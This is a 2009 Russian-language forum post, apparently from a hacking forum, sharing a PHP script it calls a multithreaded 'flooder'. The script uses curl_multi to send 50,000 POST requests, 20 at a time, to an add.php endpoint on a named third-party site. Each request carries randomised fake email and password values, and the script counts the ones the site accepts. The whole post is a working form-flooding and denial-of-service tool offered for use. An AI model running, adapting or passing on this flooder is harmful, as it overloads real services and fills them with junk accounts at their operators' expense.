
29.08.2009, 23:53
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Многопоточная флудилка:
PHP код:
<?
@set_time_limit(0);
function imTimer($name= 'default', $mode= ''){
static $timers= array();
$now=microtime(true);
if(!isset($timers[$name])){
$timers[$name]= $now;
return 0;
}
$ret= $now - $timers[$name];
if($mode == 'reset')
$timers[$name]= $now;
return round($ret, 5);
}
imTimer();
class MCurl
{
var $timeout = 20;
var $threads = 10;
function multiget($urls, &$result)
{
$threads = $this->threads;
$i = 0;
for($i=0;$i<count($urls);$i=$i+$threads)
{
$urls_pack[] = array_slice($urls, $i, $threads);
}
foreach($urls_pack as $pack)
{
$mh = curl_multi_init(); unset($conn);
foreach ($pack as $i => $url)
{
$name[]=md5(rand(0,99999999));
$conn[$i]=curl_init(trim($url));
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn[$i],CURLOPT_POSTFIELDS, "email=Wildshaman:{$name[$i]}&pass=Wildshaman:{$name[$i]}");
curl_setopt($conn[$i],CURLOPT_TIMEOUT, $this->timeout);
curl_multi_add_handle ($mh,$conn[$i]);
}
do { $n=curl_multi_exec($mh,$active); usleep(100); } while ($active);
foreach ($pack as $i => $url)
{
$uu++;
if (preg_match("|ok|is", curl_multi_getcontent($conn[$i])))
{
echo "$uu - {$name[$i]} <br>";
flush();
}
curl_close($conn[$i]);
}
curl_multi_close($mh);
}
}
}
for ($h=1; $h<=50000; $h++)
$urls[]="http://virus2total.com/add.php";
$mcurl = new MCurl;
$mcurl->threads = 20;
$mcurl->timeout = 30;
unset($results);
$mcurl->multiget($urls, $results);
print "$nu - <hr>общее время работы программы: ".imTimer();
?>
|
|
|